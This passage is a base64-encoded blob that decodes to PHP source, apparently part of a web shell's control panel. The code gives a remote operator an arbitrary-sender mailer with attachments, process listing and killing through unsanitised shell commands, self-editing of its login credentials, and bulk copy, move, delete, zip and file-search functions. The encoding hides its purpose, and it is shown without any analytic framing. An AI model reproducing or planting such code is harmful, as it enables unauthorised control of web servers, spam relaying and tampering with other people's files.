vZGl2Pg0KDQoJCSIscGhwX3NlbGYpOw0KDQoJCWlmKGFueSgneGEnLCRfUkVRVUVTVCkmJiRfUkVRVUVTVFsneGEnXT09J3NlbmQnKQ0KCQl7DQoJCQlvYl9jbGVhbigpOw0KCQkJJGZyb209JF9SRVFVRVNUWydmcm9tJ107DQoJCQkkcmVwbHk9JF9SRVFVRVNUWydyZXBseSddOw0KCQkJJHRvPSRfUkVRVUVTVFsndG8nXTsNCgkJCSRjYz0kX1JFUVVFU1RbJ2NjJ107DQoJCQkkYmNjPSRfUkVRVUVTVFsnYmNjJ107DQoJCQkkc3ViamVjdD0kX1JFUVVFU1RbJ3N1YmplY3QnXTsNCgkJCSRtc2c9JF9SRVFVRVNUWydtZXNzYWdlJ107DQoJCQkkYXR0YWNobWVudD0kX1JFUVVFU1RbJ2F0dGFjaG1lbnQnXTsNCgkJCSR1aWQ9bWQ1KHVuaXFpZCh0aW1lKCkpKTsNCg0KCQkJJGhlYWRlcnNbXT0iRnJvbTogJGZyb20iOw0KCQkJJGhlYWRlcnNbXT0iUmVwbHktVG86ICRyZXBseSI7DQoJCQkkaGVhZGVyc1tdPSJUbzogJHRvIjsNCgkJCWlmKCFlbXB0eSgkY2MpKSAkaGVhZGVyc1tdPSdDYzogJGNjJzsNCgkJCWlmKCFlbXB0eSgkYmNjKSkgJGhlYWRlcnNbXT0nQmNjOiAkYmNjJzsNCgkJCSRoZWFkZXJzW109Ik1JTUUtVmVyc2lvbjogMS4wIjsNCgkJCSRoZWFkZXJzW109IkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBib3VuZGFyeT1cIiR1aWRcIiI7DQoNCgkJCSRtZXNzYWdlc1tdPSItLSR1aWQiOw0KCQkgICAgJG1lc3NhZ2VzW109IkNvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVwiaXNvLTg4NTktMVwiIjsNCgkJICAgICRtZXNzYWdlc1tdPSJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiA4Yml0IjsNCgkJICAgICRtZXNzYWdlc1tdPSIiOw0KCQkgICAgJG1lc3NhZ2VzW109IiRtc2ciOw0KCQkgICAgJG1lc3NhZ2VzW109IiI7DQoNCgkJCWlmKGlzX2ZpbGUoJGF0dGFjaG1lbnQpKQ0KCQkJew0KCQkJCSRjb250ZW50PWZpbGVfZ2V0X2NvbnRlbnRzKCRhdHRhY2htZW50KTsNCgkJCQkkY29udGVudD1jaHVua19zcGxpdChCNjRFKCRjb250ZW50KSk7DQoJCQkJJG5hbWU9YmFzZW5hbWUoJGF0dGFjaG1lbnQpOw0KCQkJCSRtaW1lPW1pbWVfY29udGVudF90eXBlKCRhdHRhY2htZW50KTsNCg0KCQkJCSRtZXNzYWdlc1tdPSItLSR1aWQiOw0KCQkJICAgICRtZXNzYWdlc1tdPSJDb250ZW50LVR5cGU6ICRtaW1lOyBuYW1lPVwiJG5hbWVcIiI7DQoJCQkgICAgJG1lc3NhZ2VzW109IkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NCI7DQoJCQkgICAgJG1lc3NhZ2VzW109IkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQiOw0KCQkJICAgICRtZXNzYWdlc1tdPSIiOw0KCQkJICAgICRtZXNzYWdlc1tdPSIkY29udGVudCI7DQoJCQkgICAgJG1lc3NhZ2VzW109IiI7DQoJCQkgICAgJG1lc3NhZ2VzW109Ii0tJHVpZC0tIjsNCgkJCX0NCg0KCQkJJG1lc3NhZ2U9aW1wbG9kZSgiXHJcbiIsJG1lc3NhZ2VzKTsNCgkJCSRoZWFkZXI9aW1wbG9kZSgiXHJcbiIsJGhlYWRlcnMpOw0KDQoJCQlpZihtYWlsKCR0bywkc3ViamVjdCwkbWVzc2FnZSwkaGVhZGVyKSkNCgkJCXsNCgkJCQlwcmludCAiRW1haWwgU2VuZCI7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRlcnJvcj1lcnJvcl9nZXRfbGFzdCgpOw0KCQkJCXByaW50ICJFcnJvciA6IiAuICRlcnJvclsnbWVzc2FnZSddOw0KCQkJfQ0KCQkJZXhpdDsNCgkJfQ0KCX0NCglpZigkX1JFUVVFU1RbJ3gnXT09J3Byb2Nlc3MnKQ0KCXsNCgkJcHJpbnRmKCI8ZGl2IGlkPSdwcm9jZXNzLWtpbGwnPjxmb3JtIGNsYXNzPSduZXcnIG1ldGhvZD0ncG9zdCcgYWN0aW9uPSc/eD1wcm9jZXNzJnhhPWtpbGwnPg0KCQkJCQk8bGFiZWw+UElEPC9sYWJlbD4gPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BpZCcvPg0KCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nS2lsbCcvPjxicj4NCgkJCQkJPGxhYmVsPk5hbWU8L2xhYmVsPiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nbmFtZScvPg0KCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nS2lsbCcvPg0KCQkJCTwvZm9ybT48L2Rpdj4iKTsNCg0KCQlpZihhbnkoInhhIiwkX1JFUVVFU1QpJiYkX1JFUVVFU1RbJ3hhJ109PSJraWxsIikNCgkJew0KCQkJJHBpZD0kX1JFUVVFU1RbJ3BpZCddOw0KCQkJJG5hbWU9JF9SRVFVRVNUWyduYW1lJ107DQoNCgkJCWlmKFVuaXgoKSkNCgkJCXsNCgkJCQkka2lsbD1FeGVjdXRlKCJraWxsIDkgJHBpZCIpOw0KCQkJCSRraWxsPUV4ZWN1dGUoImtpbGwgOSAkbmFtZSIpOw0KCQkJCWlmKCRraWxsKSBwcmludCAnPGZvbnQgY2xhc3M9Im9mZiI+UHJvY2VzcyBLaWxsZWQ8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkka2lsbD1FeGVjdXRlKCJ0YXNra2lsbCAvZiAvcGlkICRwaWQiKTsNCgkJCQkka2lsbD1FeGVjdXRlKCJ0YXNra2lsbCAvZiAvaW0gJG5hbWUiKTsNCgkJCQlpZigka2lsbCkgcHJpbnQgJzxmb250IGNsYXNzPSJvZmYiPlByb2Nlc3MgS2lsbGVkPC9mb250Pic7DQoJCQl9DQoJCX0NCg0KCQlpZihVbml4KCkpDQoJCXsNCgkJCSRyZXQ9aWNvbnYoJ1VURi04JywnVVRGLTgnLEV4ZWN1dGUoJ3BzIGF1eCcpKTsNCgkJCXByaW50ICc8ZGl2IGlkPSJwcm9jZXNzLWxpc3QiPjxwcmU+Jy4kcmV0Lic8L3ByZT48L2Rpdj4nOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJHJldD1pY29udignV2luZG93cy0xMjUxJywnVVRGLTgnLEV4ZWN1dGUoJ3Rhc2tsaXN0JykpOw0KCQkJcHJpbnQgJzxkaXYgaWQ9InByb2Nlc3MtbGlzdCI+PHByZT4nLiRyZXQuJzwvcHJlPjwvZGl2Pic7DQoJCX0NCgl9DQoJaWYoJF9SRVFVRVNUWyd4J109PSdzaGVsbHMnKQ0KCXsNCgkJcHJpbnQgIkNvbWluZyBTb29uIjsNCgl9DQoJaWYoJF9SRVFVRVNUWyd4J109PSdzeW1saW5rJykNCgl7DQoJCXByaW50ICJDb21pbmcgU29vbiI7DQoJfQ0KCWlmKCRfUkVRVUVTVFsneCddPT0iYWNjb3VudCIpDQoJew0KCQlwcmludGYoIjxkaXYgaWQ9J2FjY291bnQnPjxmb3JtIGNsYXNzPSduZXcnIG1ldGhvZD0ncG9zdCcgYWN0aW9uPSc/eD1hY2NvdW50JnhhPWNoYW5nZSc+DQoJCQkJCTxsYWJlbD5Vc2VybmFtZTwvbGFiZWw+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdjaGFuZ2UtdXNlcm5hbWUnIGF1dG9jb21wbGV0ZT0nb2ZmJyB2YWx1ZT0nJXMnLz4gPGJyPg0KCQkJCQk8bGFiZWw+UGFzc3dvcmQ8L2xhYmVsPiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY2hhbmdlLXBhc3N3b3JkJyBhdXRvY29tcGxldGU9J29mZid2YWx1ZT0nJy8+PGJyPg0KCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJyBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ1N1cmUgPycpO1wiLz4NCgkJCQk8L2Zvcm0+PC9kaXY+IixCNjREKCRhY2NvdW50WzBdKSk7DQoNCgkJaWYoYW55KCJ4YSIsJF9SRVFVRVNUKSYmJF9SRVFVRVNUWyd4YSddPT0iY2hhbmdlIikNCgkJew0KCQkJJGZpbGVuYW1lPXNjcmlwdF9maWxlbmFtZTsNCgkJCSR1c2VybmFtZT0kX1JFUVVFU1RbJ2NoYW5nZS1wYXNzd29yZCddOw0KCQkJJHBhc3N3b3JkPSRfUkVRVUVTVFsnY2hhbmdlLXVzZXJuYW1lJ107DQoNCgkJCWlmICghZW1wdHkoJHVzZXJuYW1lKSYmIWVtcHR5KCRwYXNzd29yZCkpDQoJCQl7DQoJCQkJJHVzZXJfZnJvbT0kYWNjb3VudFswXTsNCgkJCQkkdXNlcl90bz1CNjRFKCRwYXNzd29yZCk7DQoJCQkJJGNvbnRlbnQ9ZmlsZV9nZXRfY29udGVudHMoJGZpbGVuYW1lKTsNCgkJCQkkY2h1bms9ZXhwbG9kZSgkdXNlcl9mcm9tLCRjb250ZW50KTsNCgkJCQkkY29udGVudD1pbXBsb2RlKCR1c2VyX3RvLCRjaHVuayk7DQoJCQkJJGNoYW5nZT1maWxlX3B1dF9jb250ZW50cygkZmlsZW5hbWUsJGNvbnRlbnQpOw0KDQoJCQkJJHBhc3NfZnJvbT0kYWNjb3VudFsxXTsNCgkJCQkkcGFzc190bz1zaGExKG1kNSgkdXNlcm5hbWUpKTsNCgkJCQkkY29udGVudD1maWxlX2dldF9jb250ZW50cygkZmlsZW5hbWUpOw0KCQkJCSRjaHVuaz1leHBsb2RlKCRwYXNzX2Zyb20sJGNvbnRlbnQpOw0KCQkJCSRjb250ZW50PWltcGxvZGUoJHBhc3NfdG8sJGNodW5rKTsNCgkJCQkkY2hhbmdlPWZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlbmFtZSwkY29udGVudCk7DQoNCgkJCQlpZigkY2hhbmdlKQ0KCQkJCXsNCgkJCQkJc2Vzc2lvbl9kZXN0cm95KCk7DQoJCQkJCXNlc3Npb25fcmVnZW5lcmF0ZV9pZCgpOw0KCQkJCQloZWFkZXIoJ2xvY2F0aW9uOicucGhwX3NlbGYpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwcmludGYoIkVycm9yIGNoYW5nZSBhY2NvdW50Iik7DQoJCQkJfQ0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCXByaW50ZigiPGIgY2xhc3M9J29mZic+TWlzdGFrZXMgITwvYj4iKTsNCgkJCX0NCgkJfQ0KCX0NCglpZigkX1JFUVVFU1RbJ3gnXT09ImFjdGlvbiIpDQoJew0KCQkkZmlsZXM9YW55KCdjaGsnLCRfUkVRVUVTVCk/JF9SRVFVRVNUWydjaGsnXTphcnJheSgpOw0KCQkkdmFsdWU9YW55KCdhY3Rpb24tdmFsdWUnLCRfUkVRVUVTVCk/JF9SRVFVRVNUWydhY3Rpb24tdmFsdWUnXTokX1JFUVVFU1RbJ2FjdGlvbi1vcHRpb24nXTsNCgkJJHRtcD0iIjsNCgkJJHJvdz0iIjsNCgkJJGNvdW50X2RpcnM9MDsNCgkJJGNvdW50X2ZpbGVzPTA7DQoJCQ0KCQlmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSkNCgkJew0KCQkJaWYoaXNfZGlyKHVybGQoJGZpbGUpKSkNCgkJCXsNCgkJCQkkY291bnRfZGlycysrOw0KCQkJfQ0KCQkJaWYoaXNfZmlsZSh1cmxkKCRmaWxlKSkpDQoJCQl7DQoJCQkJJGNvdW50X2ZpbGVzKys7DQoJCQl9DQoNCgkJCSRyb3cuPSI8dHI+PHRkPiIudXJsZCgkZmlsZSkuIjwvdGQ+PC90cj4iOw0KCQkJJHRtcC49dXJsZCgkZmlsZSkuIiwiOw0KCQl9DQoNCgkJaWYoY291bnQoJGZpbGVzKT09MSYmJHZhbHVlPT0nY29weScpDQoJCXsNCgkJCWhlYWRlcignbG9jYXRpb246Jy5waHBfc2VsZi4nP2E9Y3Amcj0nLiRmaWxlc1swXSk7DQoJCX0NCg0KCQlpZihjb3VudCgkZmlsZXMpPT0xJiYkdmFsdWU9PSdtb3ZlJykNCgkJew0KCQkJaGVhZGVyKCdsb2NhdGlvbjonLnBocF9zZWxmLic/YT1tdiZyPScuJGZpbGVzWzBdKTsNCgkJfQ0KDQoJCWlmKCFhbnkoJ3hhJywkX1JFUVVFU1QpJiYkdmFsdWU9PSdkZWxldGUnKQ0KCQl7DQoJCQlwcmludGYoIjxoND5EaXInczogWyVzXSBGaWxlJ3M6IFslc108L2g0Pg0KCQkJCQk8dGFibGUgY2xhc3M9J3RhYmxlJz4lczwvdGFibGU+DQoJCQkJCTxmb3JtIGNsYXNzPSduZXcnIG1ldGhvZD0ncG9zdCcgYWN0aW9uPSc/eD1hY3Rpb24meGE9b3B0aW9uJz4NCgkJCQkJCTxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2FjdGlvbi1vcHRpb24nIHZhbHVlPSclcycvPg0KCQkJCQkJPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0ndG1wJyB2YWx1ZT0nJXMnLz4NCgkJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdSZW1vdmUnLz4NCgkJCQkJPC9mb3JtPiIsDQoJCQkJCSRjb3VudF9kaXJzLA0KCQkJCQkkY291bnRfZmlsZXMsDQoJCQkJCSRyb3csDQoJCQkJCSR2YWx1ZSwNCgkJCQkJJHRtcCk7DQoJCX0NCg0KCQlpZighYW55KCd4YScsJF9SRVFVRVNUKSYmJHZhbHVlIT0nZGVsZXRlJykNCgkJew0KCQkJcHJpbnRmKCI8aDQ+RGlyJ3M6IFslc10gRmlsZSdzOiBbJXNdPC9oND4NCgkJCQkJPHRhYmxlIGNsYXNzPSd0YWJsZSc+JXM8L3RhYmxlPg0KCQkJCQk8Zm9ybSBjbGFzcz0nbmV3JyBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nP3g9YWN0aW9uJnhhPW9wdGlvbic+DQoJCQkJCQk8c2NyaXB0PndpbmRvdy5vbmxvYWQ9ZnVuY3Rpb24oZSl7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGlvbl9vcHRpb24nKS52YWx1ZT0nJXMnfTwvc2NyaXB0Pg0KCQkJCQkJPHNlbGVjdCBuYW1lPSdhY3Rpb24tb3B0aW9uJyBpZD0nYWN0aW9uX29wdGlvbic+DQoJCQkJCQkJPG9wdGlvbiB2YWx1ZT0nY29weSc+Q29weTwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J21vdmUnPk1vdmU8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSd6aXAnPkFyY2hpdmUgKHppcCk8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSd1bnppcCc+RXh0cmFjdCB0byAoemlwKTwvb3B0aW9uPg0KCQkJCQkJPC9zZWxlY3Q+DQoJCQkJCQk8aT4tPjwvaT4NCgkJCQkJCTxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3RtcCcgdmFsdWU9JyVzJy8+DQoJCQkJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nbmV3bG9jJyB2YWx1ZT0nJXMnLz4NCgkJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdQcm9jZXNzJy8+DQoJCQkJCTwvZm9ybT4iLA0KCQkJCQkkY291bnRfZGlycywNCgkJCQkJJGNvdW50X2ZpbGVzLA0KCQkJCQkkcm93LA0KCQkJCQkkdmFsdWUsDQoJCQkJCSR0bXAsDQoJCQkJCSRkaXIuXyk7DQoJCX0NCg0KCQlpZihhbnkoJ3hhJywkX1JFUVVFU1QpJiYkX1JFUVVFU1RbJ3hhJ109PSdvcHRpb24nKQ0KCQl7DQoJCQkkZmlsZXM9YXJyYXlfZmlsdGVyKGV4cGxvZGUoJywnLCRfUkVRVUVTVFsndG1wJ10pKTsNCgkJCSRuZXdsb2M9dHJpbShAJF9SRVFVRVNUWyduZXdsb2MnXSk7DQoJCQkkc3VjYz0wOw0KCQkJJGZhaWw9MDsNCg0KCQkJaWYoJF9SRVFVRVNUWydhY3Rpb24tb3B0aW9uJ109PSdjb3B5JykNCgkJCXsNCgkJCQlpZihmaWxlX2V4aXN0cygkbmV3bG9jKSYmaXNfZGlyKCRuZXdsb2MpKQ0KCQkJCXsNCgkJCQkJZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGUpDQoJCQkJCXsNCgkJCQkJCWlmKENvcHlSZWN1cnNpdmUoJGZpbGUscnRyaW0oJG5ld2xvYyxfKS5fLmJhc2VuYW1lKCRmaWxlKSkpDQoJCQkJCQl7DQoJCQkJCQkJJHN1Y2MrKzsNCgkJCQkJCX0NCgkJCQkJCWVsc2UNCgkJCQkJCXsNCgkJCQkJCQkkZmFpbCsrOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCXByaW50ICJTdWNjZXNzOiAkc3VjYyB8IEZhaWxlZDogJGZhaWwiOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwcmludCAiVGFyZ2V0IG5vdCBleGlzdHMgISI7DQoJCQkJfQ0KCQkJfQ0KDQoJCQlpZigkX1JFUVVFU1RbJ2FjdGlvbi1vcHRpb24nXT09J21vdmUnKQ0KCQkJew0KCQkJCWlmKGZpbGVfZXhpc3RzKCRuZXdsb2MpJiZpc19kaXIoJG5ld2xvYykpDQoJCQkJew0KCQkJCQlmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSkNCgkJCQkJew0KCQkJCQkJaWYoTW92ZVJlY3Vyc2l2ZSgkZmlsZSxydHJpbSgkbmV3bG9jLF8pLl8uYmFzZW5hbWUoJGZpbGUpKSkNCgkJCQkJCXsNCgkJCQkJCQkkc3VjYysrOw0KCQkJCQkJfQ0KCQkJCQkJZWxzZQ0KCQkJCQkJew0KCQkJCQkJCSRmYWlsKys7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQkJcHJpbnQgIlN1Y2Nlc3M6ICRzdWNjIHwgRmFpbGVkOiAkZmFpbCI7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXByaW50ICJUYXJnZXQgbm90IGV4aXN0cyAhIjsNCgkJCQl9DQoJCQl9DQoNCgkJCWlmKCRfUkVRVUVTVFsnYWN0aW9uLW9wdGlvbiddPT0nZGVsZXRlJykNCgkJCXsNCgkJCQlmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSkNCgkJCQl7DQoJCQkJCWlmKFJlbW92ZSgkZmlsZSkpDQoJCQkJCXsNCgkJCQkJCSRzdWNjKys7DQoJCQkJCX0NCgkJCQkJZWxzZQ0KCQkJCQl7DQoJCQkJCQkkZmFpbCsrOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCXByaW50ICJTdWNjZXNzOiAkc3VjYyB8IEZhaWxlZDogJGZhaWwiOw0KCQkJfQ0KDQoJCQlpZigkX1JFUVVFU1RbJ2FjdGlvbi1vcHRpb24nXT09J3ppcCcpDQoJCQl7DQoJCQkJaWYocGF0aGluZm8oJG5ld2xvYylbJ2V4dGVuc2lvbiddPT0nemlwJykNCgkJCQl7DQoJCQkJCSR6aXA9bmV3IFppcEFyY2hpdmU7DQoNCgkJCQkJaWYgKCR6aXAtPm9wZW4oJG5ld2xvYyxaaXBBcmNoaXZlOjpDUkVBVEV8WmlwQXJjaGl2ZTo6T1ZFUldSSVRFKT09PVRSVUUpIA0KCQkJCQl7DQoJCQkJCQlmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSkNCgkJCQkJCXsNCgkJCQkJCQlpZihpc19kaXIoJGZpbGUpKQ0KCQkJCQkJCXsNCgkJCQkJCQkJJHppcC0+YWRkRW1wdHlEaXIoYmFzZW5hbWUoJGZpbGUpKTsNCg0KCQkJCQkJCQkkcmVjdXI9bmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoDQoJCQkJCQkJCSAgICBuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGZpbGUpLA0KCQkJCQkJCQkgICAgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6TEVBVkVTX09OTFkgDQoJCQkJCQkJCSk7DQoNCgkJCQkJCQkJZm9yZWFjaCAoJHJlY3VyIGFzICRrZXkgPT4gJHZhbCkgDQoJCQkJCQkJCXsNCgkJCQkJCQkJICAgIGlmKGJhc2VuYW1lKCRrZXkpIT0iLi4iKQ0KCQkJCQkJCQkJew0KCQkJCQkJCQkJICAgIGlmKGlzX2Rpcigka2V5KSkNCgkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCSR6ZGlyPXN0cl9yZXBsYWNlKCRmaWxlLGJhc2VuYW1lKCRmaWxlKSxyZWFscGF0aCgka2V5KSk7DQoJCQkJCQkJCQkJCSR6aXAtPmFkZEVtcHR5RGlyKCR6ZGlyKTsNCgkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJZWxzZWlmKGlzX2ZpbGUoJGtleSkpDQoJCQkJCQkJCQkJew0KCQkJCQkJCQkJCQkkemZpbGU9c3RyX3JlcGxhY2UoJGZpbGUsYmFzZW5hbWUoJGZpbGUpLHJlYWxwYXRoKCRrZXkpKTsNCgkJCQkJCQkJCQkJJHppcC0+YWRkRmlsZShyZWFscGF0aCgka2V5KSwkemZpbGUpOw0KCQkJCQkJCQkJCX0NCgkJCQkJCQkJCX0NCgkJCQkJCQkJfQ0KCQkJCQkJCX0NCgkJCQkJCQllbHNlaWYoaXNfZmlsZSgkZmlsZSkpDQoJCQkJCQkJew0KCQkJCQkJCQkkemlwLT5hZGRGaWxlKCRmaWxlLGJhc2VuYW1lKCRmaWxlKSk7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KDQoJCQkJCSAgICAkemlwLT5jbG9zZSgpOw0KCQkJCQkgICAgcHJpbnQgJ1ppcCBDcmVhdGVkJzsNCgkJCQkJfQ0KCQkJCQllbHNlIA0KCQkJCQl7DQoJCQkJCSAgICBwcmludCAnRmFpbGVkJzsNCgkJCQkJfQ0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwcmludCAnRXh0ZW5zaW9uIG11c3QgWmlwJzsNCgkJCQl9DQoJCQl9DQoNCgkJCWlmKCRfUkVRVUVTVFsnYWN0aW9uLW9wdGlvbiddPT0ndW56aXAnKQ0KCQkJew0KCQkJCWlmKGZpbGVfZXhpc3RzKCRuZXdsb2MpJiZpc19kaXIoJG5ld2xvYykpDQoJCQkJew0KCQkJCQlmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSkNCgkJCQkJew0KCQkJCQkJaWYocGF0aGluZm8oJG5ld2xvYylbJ2V4dGVuc2lvbiddPT0nemlwJykNCgkJCQkJCXsNCgkJCQkJCQkkemlwPW5ldyBaaXBBcmNoaXZlOw0KCQkJCQkNCgkJCQkJCQlpZiAoJHppcC0+b3BlbigkZmlsZSk9PT1UUlVFKSANCgkJCQkJCQl7DQoJCQkJCQkJICAgICR6aXAtPmV4dHJhY3RUbygkbmV3bG9jKTsNCgkJCQkJCQkgICAgJHppcC0+Y2xvc2UoKTsNCgkJCQkJCQkgICAgJHN1Y2MrKzsNCgkJCQkJCQl9DQoJCQkJCQkJZWxzZSANCgkJCQkJCQl7DQoJCQkJCQkJICAgICRmYWlsKys7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQkJZWxzZSANCgkJCQkJCXsNCgkJCQkJCSAgICAkZmFpbCsrOw0KCQkJCQkJfQ0KCQkJCQkJDQoJCQkJCX0NCgkJCQkJcHJpbnQgIlN1Y2Nlc3M6ICRzdWNjIHwgRmFpbGVkOiAkZmFpbCI7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXByaW50ICJUYXJnZXQgbm90IGV4aXN0cyAhIjsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJaWYoJF9SRVFVRVNUWyd4J109PSJmaW5kIikNCgl7DQoJCSRyZWN1cj1uZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigNCgkJICAgIG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZGlyKSwNCgkJICAgIFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OkxFQVZFU19PTkxZIA0KCQkpOw0KDQoJCWlmKGFueSgnZmluZC12YWx1ZScsJF9SRVFVRVNUKSYmIWVtcHR5KCRfUkVRVUVTVFsnZmluZC12YWx1ZSddKSkNCgkJew0KCQkJJHJlc3VsdD0iIjsNCgkJCSRyZXNfPTA7DQoNCgkJCWZvcmVhY2ggKCRyZWN1ciBhcyAka2V5ID0+ICR2YWwpIA0KCQkJew0KCQkJCWlmKGJhc2VuYW1lKCRrZXkpIT0iLi4iKQ0KCQkJCXsNCgkJCQkJaWYoc3RycG9zKHJlYWxwYXRoKCRrZXkpLCRfUkVRVUVTVFsnZmluZC12YWx1ZSddKSE9PSBmYWxzZSkgDQoJCQkJCXsNCgkJCQkJCSRyZXN1bHQuPXNwcmludGYoIjx0cj4NCgkJCQkJCQkJPHRkPjwvdGQ+DQoJCQkJCQkJCTx0ZD48YSBocmVmPSc/Zz0lcycgdGl0bGU9JyVzJyB0YXJnZXQ9J19ibGFuayc+JXM8L2E+PC90ZD4NCgkJCQkJCQkJPHRkPjxhIGhyZWY9Jz9nPSVzJyB0aXRsZT0nJXMnIHRhcmdldD0nX2JsYW5rJz4lczwvYT48L3RkPg0KCQkJCQkJCQk8dGQ+PGNlbnRlcj4lczwvY2VudGVyPjwvdGQ+DQoJCQkJCQkJCTwvdHI+IiwNCgkJCQkJCQkJc3Vic3RyKHJlYWxwYXRoKCRrZXkpLDAsc3RycnBvcyhyZWFscGF0aCgka2V5KSxfKSksDQoJCQkJCQkJCXN1YnN0cihyZWFscGF0aCgka2V5KSwwLHN0cnJwb3MocmVhbHBhdGgoJGtleSksXykpLA0KCQkJCQkJCQlzdWJzdHIocmVhbHBhdGgoJGtleSksMCxzdHJycG9zKHJlYWxwYXRoKCRrZXkpLF8pKSwNCgkJCQkJCQkJcmVhbHBhdGgoJGtleSksDQoJCQkJCQkJCXJlYWxwYXRoKCRrZXkpLA0KCQkJCQkJCQliYXNlbmFtZShyZWFscGF0aCgka2V5KSksDQoJCQkJCQkJCUdldEZpbGVUaW1lKHJlYWxwYXRoKCRrZXkpLCdtb2RpZnknKQ0KCQkJCQkJKTsNCg0KCQkJCQkJJHJlc18rKzsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCg0KCQkJcHJpbnRmKCINCgkJCQkJPGZvcm0gY2xhc3M9J25ldycgbWV0aG9kPVBPU1QgYWN0aW9uPSc/eD1maW5kJz4NCgkJCQkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaW5kLXZhbHVlJyBpZD0nZmluZC1hY3Rpb24nIHZhbHVlPSclcycvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2ZpbmQtYnV0dG9uJyB2YWx1ZT0nRmluZCcvPg0KCQkJCQkJPGxhYmVsIHN0eWxlPSdtYXJnaW4tbGVmdDoxMHB4Jz48Zm9udCBjbGFzcz0nb24nPkZpbmQ6ICclcycgfCBGb3VuZCdzOiAlczwvZm9udD48L2xhYmVsPgkNCgkJCQkJPC9mb3JtPg0KCQkJCQk8ZGl2IGNsYXNzPSdhdXRvLW51bWJlcic+DQoJCQkJCQk8dGFibGUgY2xhc3M9J3RhYmxlIHNvcnRhYmxlJz4NCgkJCQkJCQk8dGhlYWQ+DQoJCQkJCQkJCTx0cj4NCgkJCQkJCQkJCTx0aCBjbGFzcz0nc29ydHRhYmxlX25vc29ydCcgd2lkdGg9JzE1Jz5Oby48L3RoPg0KCQkJCQkJCQkJPHRoPkRpcmVjdG9yeTwvdGg+DQoJCQkJCQkJCQk8dGg+TmFtZTwvdGg+DQoJCQkJCQkJCQk8dGg+TW9kaWZpZWQ8L3RoPg0KCQkJCQkJCQk8L3RyPg0KCQkJCQkJCTx0Ym9keT4lczwvdGJvZHk+DQoJCQkJCQk8L3RhYmxlPg0KCQkJCQk8L2Rpdj4iLCRfUkVRVUVTVFsnZmluZC12YWx1ZSddLCRfUkVRVUVTVFsnZmluZC12YWx1ZSddLCRyZXNfLCRyZXN1bHQpOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcHJpbnQgIjxmb3JtIGNsYXNzPSduZXcnIG1ldGhvZD1QT1NUIGFjdGlvbj0nP3g9ZmluZCc+DQoJCQkJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZmluZC12YWx1ZScvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2ZpbmQtYnV0dG9uJyB2YWx1ZT0nRmluZCcvPg0KCQkJCQkJPGxhYmVsIHN0eWxlPSdtYXJnaW4tbGVmdDoxMHB4Jz48Zm9udCBjb2xvcj0ncmVkJz5XaG9vcHMsIE5vdGhpbmcgdG8gRm91bmQncyAhPC9mb250